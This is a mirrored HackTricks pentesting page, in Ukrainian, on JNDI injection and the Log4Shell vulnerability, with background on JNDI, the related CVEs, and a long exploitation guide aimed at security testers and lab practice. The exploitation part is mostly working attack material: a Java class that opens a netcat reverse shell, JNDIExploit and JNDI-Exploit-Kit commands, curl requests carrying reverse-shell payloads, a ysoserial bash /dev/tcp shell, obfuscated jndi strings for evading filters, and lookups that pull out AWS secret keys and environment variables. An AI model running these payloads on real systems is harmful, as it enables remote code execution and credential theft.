mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
464 lines
43 KiB
Markdown
464 lines
43 KiB
Markdown
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Basic Information
|
||
|
||
JNDI, інтегрований у Java з кінця 1990-х, слугує службою каталогів, що дозволяє Java-програмам знаходити дані або об'єкти через систему імен. Він підтримує різні служби каталогів через інтерфейси постачальників послуг (SPI), що дозволяє отримувати дані з різних систем, включаючи віддалені Java-об'єкти. Загальні SPI включають CORBA COS, Java RMI Registry та LDAP.
|
||
|
||
### JNDI Naming Reference
|
||
|
||
Java-об'єкти можуть зберігатися та отримуватися за допомогою JNDI Naming References, які мають дві форми:
|
||
|
||
* **Reference Addresses**: Вказує на місцезнаходження об'єкта (наприклад, _rmi://server/ref_), що дозволяє безпосереднє отримання з вказаної адреси.
|
||
* **Remote Factory**: Посилається на віддалений клас фабрики. При доступі клас завантажується та створюється з віддаленого місця.
|
||
|
||
Однак цей механізм може бути використаний в зловмисних цілях, що потенційно призводить до завантаження та виконання довільного коду. Як контрзаходи:
|
||
|
||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` за замовчуванням з JDK 7u21, обмежуючи завантаження віддалених об'єктів. Менеджер безпеки додатково обмежує те, що може бути завантажено.
|
||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` за замовчуванням з JDK 6u141, 7u131, 8u121, блокує виконання віддалено завантажених Java-об'єктів. Якщо встановлено на `true`, можливе виконання віддаленого коду без контролю Менеджера безпеки.
|
||
* **CORBA**: Не має специфічної властивості, але Менеджер безпеки завжди активний.
|
||
|
||
Однак **Naming Manager**, відповідальний за розв'язання JNDI посилань, не має вбудованих механізмів безпеки, що потенційно дозволяє отримувати об'єкти з будь-якого джерела. Це становить ризик, оскільки захисти RMI, LDAP та CORBA можуть бути обійдені, що призводить до завантаження довільних Java-об'єктів або використання існуючих компонентів програми (гаджетів) для виконання шкідливого коду.
|
||
|
||
Приклади вразливих URL включають:
|
||
|
||
* _rmi://attacker-server/bar_
|
||
* _ldap://attacker-server/bar_
|
||
* _iiop://attacker-server/bar_
|
||
|
||
Незважаючи на захист, вразливості залишаються, головним чином через відсутність запобіжників проти завантаження JNDI з ненадійних джерел та можливість обійти існуючі захисти.
|
||
|
||
### JNDI Example
|
||
|
||
.png>)
|
||
|
||
Навіть якщо ви встановили **`PROVIDER_URL`**, ви можете вказати інший під час пошуку, і він буде доступний: `ctx.lookup("<attacker-controlled-url>")`, і саме це зловмисник буде використовувати для завантаження довільних об'єктів з системи, контрольованої ним.
|
||
|
||
### CORBA Overview
|
||
|
||
CORBA (Common Object Request Broker Architecture) використовує **Interoperable Object Reference (IOR)** для унікальної ідентифікації віддалених об'єктів. Це посилання містить важливу інформацію, таку як:
|
||
|
||
* **Type ID**: Унікальний ідентифікатор для інтерфейсу.
|
||
* **Codebase**: URL для отримання класу-стуба.
|
||
|
||
Варто зазначити, що CORBA не є вразливим за замовчуванням. Забезпечення безпеки зазвичай включає:
|
||
|
||
* Встановлення **Менеджера безпеки**.
|
||
* Налаштування Менеджера безпеки для дозволу з'єднань з потенційно шкідливими кодовими базами. Це можна досягти через:
|
||
* Дозвіл на сокети, наприклад, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||
* Дозволи на читання файлів, або універсально (`permission java.io.FilePermission "<<ALL FILES>>", "read";`), або для конкретних каталогів, де можуть бути розміщені шкідливі файли.
|
||
|
||
Однак деякі політики постачальників можуть бути м'якими і дозволяти ці з'єднання за замовчуванням.
|
||
|
||
### RMI Context
|
||
|
||
Для RMI (Remote Method Invocation) ситуація дещо інша. Як і з CORBA, завантаження довільних класів за замовчуванням обмежене. Щоб експлуатувати RMI, зазвичай потрібно обійти Менеджера безпеки, що також є актуальним у CORBA.
|
||
|
||
### LDAP
|
||
|
||
По-перше, потрібно розрізняти пошук і пошук за іменем.\
|
||
**Пошук** використовуватиме URL, як-от `ldap://localhost:389/o=JNDITutorial`, щоб знайти об'єкт JNDITutorial з LDAP-сервера та **отримати його атрибути**.\
|
||
**Пошук за іменем** призначений для **служб імен**, оскільки ми хочемо отримати **все, що прив'язано до імені**.
|
||
|
||
Якщо пошук LDAP був викликаний з **SearchControls.setReturningObjFlag() з `true`, то повернений об'єкт буде реконструйовано**.
|
||
|
||
Отже, існує кілька способів атакувати ці опції.\
|
||
**Зловмисник може отруїти записи LDAP, вводячи в них корисні навантаження**, які будуть виконані в системах, що їх збирають (дуже корисно для **компрометації десятків машин**, якщо у вас є доступ до LDAP-сервера). Інший спосіб експлуатувати це - виконати **атаку MitM під час пошуку LDAP**, наприклад.
|
||
|
||
Якщо ви можете **змусити додаток розв'язати JNDI LDAP URL**, ви можете контролювати LDAP, який буде шукатися, і ви могли б надіслати назад експлойт (log4shell).
|
||
|
||
#### Deserialization exploit
|
||
|
||
.png>)
|
||
|
||
**Експлойт серіалізований** і буде десеріалізований.\
|
||
Якщо `trustURLCodebase` дорівнює `true`, зловмисник може надати свої власні класи в кодовій базі, якщо ні, йому потрібно буде зловживати гаджетами в classpath.
|
||
|
||
#### JNDI Reference exploit
|
||
|
||
Легше атакувати цей LDAP, використовуючи **JavaFactory references**:
|
||
|
||
.png>)
|
||
|
||
## Log4Shell Vulnerability
|
||
|
||
Вразливість виникає в Log4j, оскільки він підтримує [**спеціальний синтаксис**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) у формі `${prefix:name}`, де `prefix` є одним з кількох різних [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html), які повинні бути оцінені. Наприклад, `${java:version}` - це поточна версія Java.
|
||
|
||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ввів функцію `jndi` Lookup. Ця функція дозволяє отримувати змінні через JNDI. Зазвичай ключ автоматично префіксується `java:comp/env/`. Однак, якщо сам ключ містить **":"**, цей стандартний префікс не застосовується.
|
||
|
||
При наявності **:** в ключі, як у `${jndi:ldap://example.com/a}`, немає **префікса**, і **LDAP-сервер запитується для об'єкта**. І ці Lookups можуть використовуватися як у конфігурації Log4j, так і під час запису рядків.
|
||
|
||
Отже, єдине, що потрібно для отримання RCE - це **вразлива версія Log4j, що обробляє інформацію, контрольовану користувачем**. І оскільки це бібліотека, яка широко використовується Java-додатками для ведення журналів інформації (включаючи додатки, що виходять в Інтернет), було дуже поширено мати log4j, що веде журнал, наприклад, отриманих HTTP-заголовків, таких як User-Agent. Однак log4j **не використовується лише для ведення журналів HTTP-інформації, а для будь-якого введення** та даних, які вказав розробник.
|
||
|
||
## Overview of Log4Shell-Related CVEs
|
||
|
||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
|
||
|
||
Ця вразливість є критичною **вразливістю ненадійної десеріалізації** в компоненті `log4j-core`, що впливає на версії з 2.0-beta9 до 2.14.1. Вона дозволяє **віддалене виконання коду (RCE)**, що дозволяє зловмисникам захоплювати системи. Проблему повідомив Чен Чжаоцзюнь з команди безпеки Alibaba Cloud і вона впливає на різні фреймворки Apache. Початкове виправлення у версії 2.15.0 було неповним. Правила Sigma для захисту доступні ([Правило 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Правило 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||
|
||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
|
||
|
||
Спочатку оцінювалося як низьке, але пізніше підвищено до критичного, ця CVE є **вразливістю відмови в обслуговуванні (DoS)**, що виникає внаслідок неповного виправлення у 2.15.0 для CVE-2021-44228. Вона впливає на нестандартні конфігурації, що дозволяє зловмисникам викликати атаки DoS через спеціально підготовлені корисні навантаження. [Твіт](https://twitter.com/marcioalm/status/1471740771581652995) демонструє метод обходу. Проблема вирішена у версіях 2.16.0 та 2.12.2 шляхом видалення шаблонів пошуку повідомлень та відключення JNDI за замовчуванням.
|
||
|
||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
||
|
||
Впливаючи на **версії Log4j 1.x** у нестандартних конфігураціях, що використовують `JMSAppender`, ця CVE є вразливістю ненадійної десеріалізації. Виправлення для гілки 1.x не доступне, оскільки вона вийшла з експлуатації, і рекомендується оновлення до `log4j-core 2.17.0`.
|
||
|
||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
||
|
||
Ця вразливість впливає на **фреймворк ведення журналів Logback**, наступника Log4j 1.x. Раніше вважалося, що він безпечний, але фреймворк виявився вразливим, і нові версії (1.3.0-alpha11 та 1.2.9) були випущені для вирішення проблеми.
|
||
|
||
### **CVE-2021-45105** **\[High]**
|
||
|
||
Log4j 2.16.0 містить вразливість DoS, що спонукало до випуску `log4j 2.17.0` для виправлення CVE. Подробиці в звіті BleepingComputer [звіту](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||
|
||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||
|
||
Впливаючи на версію log4j 2.17, ця CVE вимагає, щоб зловмисник контролював конфігураційний файл log4j. Це передбачає потенційне виконання довільного коду через налаштований JDBCAppender. Більше деталей доступно в [блог-посту Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||
|
||
## Log4Shell Exploitation
|
||
|
||
### Discovery
|
||
|
||
Цю вразливість дуже легко виявити, якщо вона не захищена, оскільки вона надішле принаймні **DNS-запит** на адресу, яку ви вказали у своєму корисному навантаженні. Тому корисні навантаження, такі як:
|
||
|
||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (використовуючи [canarytokens.com](https://canarytokens.org/generate))
|
||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (використовуючи [interactsh](https://github.com/projectdiscovery/interactsh))
|
||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (використовуючи Burp Suite)
|
||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (використовуючи [dnslog](http://dnslog.cn))
|
||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (використовуючи [huntress](https://log4shell.huntress.com))
|
||
|
||
Зверніть увагу, що **навіть якщо отримано DNS-запит, це не означає, що додаток є вразливим** (або навіть уразливим), вам потрібно буде спробувати експлуатувати його.
|
||
|
||
{% hint style="info" %}
|
||
Пам'ятайте, що для **експлуатації версії 2.15** вам потрібно додати **обхід перевірки localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||
{% endhint %}
|
||
|
||
#### **Local Discovery**
|
||
|
||
Шукайте **локальні вразливі версії** бібліотеки з:
|
||
```bash
|
||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||
```
|
||
### **Перевірка**
|
||
|
||
Деякі з платформ, згаданих раніше, дозволять вам вставити деякі змінні дані, які будуть записані, коли їх запитують.\
|
||
Це може бути дуже корисно для 2-х речей:
|
||
|
||
* Щоб **перевірити** вразливість
|
||
* Щоб **екстрагувати інформацію**, зловживаючи вразливістю
|
||
|
||
Наприклад, ви могли б запитати щось на кшталт:\
|
||
або як `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** і якщо **отримано DNS-запит зі значенням змінної середовища**, ви знаєте, що додаток вразливий.
|
||
|
||
Інша інформація, яку ви могли б спробувати **витягнути**:
|
||
```
|
||
${env:AWS_ACCESS_KEY_ID}
|
||
${env:AWS_CONFIG_FILE}
|
||
${env:AWS_PROFILE}
|
||
${env:AWS_SECRET_ACCESS_KEY}
|
||
${env:AWS_SESSION_TOKEN}
|
||
${env:AWS_SHARED_CREDENTIALS_FILE}
|
||
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
|
||
${env:HOSTNAME}
|
||
${env:JAVA_VERSION}
|
||
${env:PATH}
|
||
${env:USER}
|
||
${hostName}
|
||
${java.vendor}
|
||
${java:os}
|
||
${java:version}
|
||
${log4j:configParentLocation}
|
||
${sys:PROJECT_HOME}
|
||
${sys:file.separator}
|
||
${sys:java.class.path}
|
||
${sys:java.class.path}
|
||
${sys:java.class.version}
|
||
${sys:java.compiler}
|
||
${sys:java.ext.dirs}
|
||
${sys:java.home}
|
||
${sys:java.io.tmpdir}
|
||
${sys:java.library.path}
|
||
${sys:java.specification.name}
|
||
${sys:java.specification.vendor}
|
||
${sys:java.specification.version}
|
||
${sys:java.vendor.url}
|
||
${sys:java.vendor}
|
||
${sys:java.version}
|
||
${sys:java.vm.name}
|
||
${sys:java.vm.specification.name}
|
||
${sys:java.vm.specification.vendor}
|
||
${sys:java.vm.specification.version}
|
||
${sys:java.vm.vendor}
|
||
${sys:java.vm.version}
|
||
${sys:line.separator}
|
||
${sys:os.arch}
|
||
${sys:os.name}
|
||
${sys:os.version}
|
||
${sys:path.separator}
|
||
${sys:user.dir}
|
||
${sys:user.home}
|
||
${sys:user.name}
|
||
|
||
Any other env variable name that could store sensitive information
|
||
```
|
||
### RCE Information
|
||
|
||
{% hint style="info" %}
|
||
Хости, що працюють на версіях JDK вище 6u141, 7u131 або 8u121, захищені від вектору атаки завантаження класів LDAP. Це пов'язано з за замовчуванням деактивацією `com.sun.jndi.ldap.object.trustURLCodebase`, що запобігає JNDI від завантаження віддаленого кодового бази через LDAP. Однак важливо зазначити, що ці версії **не захищені від вектору атаки десеріалізації**.
|
||
|
||
Для атакуючих, які прагнуть експлуатувати ці вищі версії JDK, необхідно використовувати **достовірний гаджет** у Java-додатку. Інструменти, такі як ysoserial або JNDIExploit, часто використовуються для цієї мети. Навпаки, експлуатація нижчих версій JDK є відносно простішою, оскільки ці версії можна маніпулювати для завантаження та виконання довільних класів.
|
||
|
||
Для **додаткової інформації** (_як обмеження на RMI та CORBA вектори_) **перевірте попередній розділ JNDI Naming Reference** або [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||
{% endhint %}
|
||
|
||
### RCE - Marshalsec with custom payload
|
||
|
||
Ви можете протестувати це в **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||
|
||
Використовуйте інструмент [**marshalsec**](https://github.com/mbechler/marshalsec) (версія jar доступна [**тут**](https://github.com/RandomRobbieBF/marshalsec-jar)). Цей підхід встановлює LDAP сервер посилань для перенаправлення з'єднань на вторинний HTTP сервер, де буде розміщено експлойт:
|
||
```bash
|
||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||
```
|
||
Щоб спонукати ціль завантажити код зворотного шелу, створіть файл Java з назвою `Exploit.java` з вмістом нижче:
|
||
```java
|
||
public class Exploit {
|
||
static {
|
||
try {
|
||
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
|
||
} catch (Exception e) {
|
||
e.printStackTrace();
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Скомпілюйте файл Java в клас-файл за допомогою: `javac Exploit.java -source 8 -target 8`. Далі, ініціюйте **HTTP сервер** в директорії, що містить клас-файл, за допомогою: `python3 -m http.server`. Переконайтеся, що **marshalsec LDAP сервер** посилається на цей HTTP сервер.
|
||
|
||
Запустіть виконання класу експлойту на вразливому веб-сервері, надіславши корисне навантаження, що нагадує:
|
||
```bash
|
||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||
```
|
||
**Примітка:** Цей експлойт залежить від конфігурації Java, яка дозволяє завантаження віддалених кодових баз через LDAP. Якщо це не дозволено, розгляньте можливість використання довіреного класу для виконання довільного коду.
|
||
|
||
### RCE - **JNDIExploit**
|
||
|
||
{% hint style="info" %}
|
||
Зверніть увагу, що з якоїсь причини автор видалив цей проект з github після виявлення log4shell. Ви можете знайти кешовану версію за [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2), але якщо ви хочете поважати рішення автора, використовуйте інший метод для експлуатації цієї уразливості.
|
||
|
||
Більше того, ви не можете знайти вихідний код у wayback machine, тому або проаналізуйте вихідний код, або виконайте jar, знаючи, що ви не знаєте, що виконуєте.
|
||
{% endhint %}
|
||
|
||
Для цього прикладу ви можете просто запустити цей **вразливий веб-сервер для log4shell** на порту 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_в README ви знайдете, як його запустити_). Ця вразлива програма веде журнал з вразливою версією log4shell вмісту заголовка HTTP запиту _X-Api-Version_.
|
||
|
||
Потім ви можете завантажити файл **JNDIExploit** jar і виконати його за допомогою:
|
||
```bash
|
||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||
unzip JNDIExploit.v1.2.zip
|
||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||
```
|
||
Після прочитання коду всього за кілька хвилин, у _com.feihong.ldap.LdapServer_ та _com.feihong.ldap.HTTPServer_ ви можете побачити, як **створюються LDAP та HTTP сервери**. LDAP сервер зрозуміє, який payload потрібно обробити, і перенаправить жертву на HTTP сервер, який буде обслуговувати експлойт.\
|
||
У _com.feihong.ldap.gadgets_ ви можете знайти **деякі специфічні гаджети**, які можуть бути використані для виконання бажаної дії (потенційно виконати довільний код). А в _com.feihong.ldap.template_ ви можете побачити різні класи шаблонів, які **генеруватимуть експлойти**.
|
||
|
||
Ви можете побачити всі доступні експлойти за допомогою **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Деякі корисні з них:
|
||
```bash
|
||
ldap://null:1389/Basic/Dnslog/[domain]
|
||
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||
# But there are a lot more
|
||
```
|
||
Отже, в нашому прикладі ми вже маємо запущений вразливий додаток docker. Щоб атакувати його:
|
||
```bash
|
||
# Create a file inside of th vulnerable host:
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||
|
||
# Get a reverse shell (only unix)
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||
```
|
||
Коли ви надсилаєте атаки, ви побачите деякі виходи в терміналі, де ви виконали **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||
|
||
**Не забудьте перевірити `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` для інших варіантів експлуатації. Більше того, у разі потреби, ви можете змінити порт LDAP та HTTP серверів.**
|
||
|
||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||
|
||
Подібно до попереднього експлойту, ви можете спробувати використати [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) для експлуатації цієї вразливості.\
|
||
Ви можете згенерувати URL-адреси для надсилання жертві, запустивши:
|
||
```bash
|
||
# Get reverse shell in port 4444 (only unix)
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||
|
||
# Execute command
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||
```
|
||
_Ця атака, що використовує спеціально згенерований java-об'єкт, буде працювати в лабораторіях, таких як **THM solar room**. Однак, це зазвичай не спрацює (оскільки за замовчуванням Java не налаштована на завантаження віддаленого коду за допомогою LDAP), я думаю, тому що це не зловживає довіреною класою для виконання довільного коду._
|
||
|
||
### RCE - JNDI-Injection-Exploit-Plus
|
||
|
||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) - це ще один інструмент для генерації **робочих JNDI посилань** та надання фонових послуг шляхом запуску RMI сервера, LDAP сервера та HTTP сервера.\
|
||
|
||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||
|
||
Цей варіант дійсно корисний для атаки на **версії Java, налаштовані на довіру лише до вказаних класів, а не до всіх**. Тому **ysoserial** буде використано для генерації **серіалізацій довірених класів**, які можуть бути використані як гаджети для **виконання довільного коду** (_довірена клас, якою зловживає ysoserial, повинна використовуватися жертвою java програми, щоб експлойт спрацював_).
|
||
|
||
Використовуючи **ysoserial** або [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), ви можете створити експлойт десеріалізації, який буде завантажено JNDI:
|
||
```bash
|
||
# Rev shell via CommonsCollections5
|
||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||
```
|
||
Використовуйте [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) для генерації **JNDI посилань**, де експлойт буде чекати на з'єднання від вразливих машин. Ви можете надавати **різні експлойти, які можуть бути автоматично згенеровані** JNDI-Exploit-Kit або навіть свої **власні вантажі десеріалізації** (згенеровані вами або ysoserial).
|
||
```bash
|
||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||
```
|
||
.png>)
|
||
|
||
Тепер ви можете легко використовувати згенероване посилання JNDI для експлуатації вразливості та отримати **реверс-шелл**, просто надіславши його на вразливу версію log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||
|
||
### Обходи
|
||
```java
|
||
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
|
||
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
|
||
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
|
||
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
|
||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
|
||
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
|
||
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
|
||
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
|
||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||
```
|
||
### Автоматичні сканери
|
||
|
||
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
|
||
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
|
||
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
|
||
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
||
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
||
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Знайти локальні вразливі бібліотеки
|
||
|
||
### Лабораторії для тестування
|
||
|
||
* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
|
||
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
|
||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||
|
||
## Післяексплуатація Log4Shell
|
||
|
||
У цьому [**CTF звіті**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) добре пояснюється, як це потенційно **можливо** **зловживати** деякими функціями **Log4J**.
|
||
|
||
[**Сторінка безпеки**](https://logging.apache.org/log4j/2.x/security.html) Log4j містить кілька цікавих речень:
|
||
|
||
> З версії 2.16.0 (для Java 8), **функція пошуку повідомлень була повністю видалена**. **Пошуки в конфігурації все ще працюють**. Крім того, Log4j тепер за замовчуванням відключає доступ до JNDI. Пошуки JNDI в конфігурації тепер потрібно явно включати.
|
||
|
||
> З версії 2.17.0 (і 2.12.3 та 2.3.1 для Java 7 і Java 6), **тільки рядки пошуку в конфігурації розширюються рекурсивно**; в будь-якому іншому використанні лише верхній рівень пошуку вирішується, а будь-які вкладені пошуки не вирішуються.
|
||
|
||
Це означає, що за замовчуванням ви можете **забути про використання будь-якого експлойту `jndi`**. Більше того, щоб виконати **рекурсивні пошуки**, вам потрібно їх налаштувати.
|
||
|
||
Наприклад, у цьому CTF це було налаштовано у файлі log4j2.xml:
|
||
```xml
|
||
<Console name="Console" target="SYSTEM_ERR">
|
||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||
</PatternLayout>
|
||
</Console>
|
||
```
|
||
### Env Lookups
|
||
|
||
У [цьому CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) атакуючий контролював значення `${sys:cmd}` і потрібно було ексфільтрувати прапор з змінної середовища.\
|
||
Як видно на цій сторінці в [**попередніх payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), є кілька способів доступу до змінних середовища, таких як: **`${env:FLAG}`**. У цьому CTF це було марно, але в інших реальних сценаріях це може бути корисно.
|
||
|
||
### Exfiltration in Exceptions
|
||
|
||
У CTF ви **не могли отримати доступ до stderr** java-додатку, використовуючи log4J, але виключення Log4J **надсилаються до stdout**, що було надруковано в python-додатку. Це означало, що, викликавши виключення, ми могли отримати доступ до вмісту. Виключення для ексфільтрації прапора було: **`${java:${env:FLAG}}`.** Це працює, тому що **`${java:CTF{blahblah}}`** не існує, і виключення з значенням прапора буде показано:
|
||
|
||
.png>)
|
||
|
||
### Conversion Patterns Exceptions
|
||
|
||
Просто щоб згадати, ви також могли б інжектувати нові [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) і викликати виключення, які будуть записані в `stdout`. Наприклад:
|
||
|
||
.png>)
|
||
|
||
Це не було визнано корисним для ексфільтрації даних всередині повідомлення про помилку, оскільки запит не був вирішений до шаблону перетворення, але це могло бути корисно для інших речей, таких як виявлення.
|
||
|
||
### Conversion Patterns Regexes
|
||
|
||
Однак можливо використовувати деякі **conversion patterns, які підтримують regexes**, для ексфільтрації інформації з запиту, використовуючи regexes і зловживаючи **бінарним пошуком** або **часовими** поведінками.
|
||
|
||
* **Бінарний пошук через повідомлення про виключення**
|
||
|
||
Шаблон перетворення **`%replace`** може бути використаний для **заміни** **вмісту** з **рядка**, навіть використовуючи **regexes**. Це працює так: `replace{pattern}{regex}{substitution}`\
|
||
Зловживаючи цією поведінкою, ви могли б змусити заміну **викликати виключення, якщо regex збігався** з чимось всередині рядка (і без виключення, якщо не було знайдено) ось так:
|
||
```bash
|
||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||
```
|
||
* **Часовий метод**
|
||
|
||
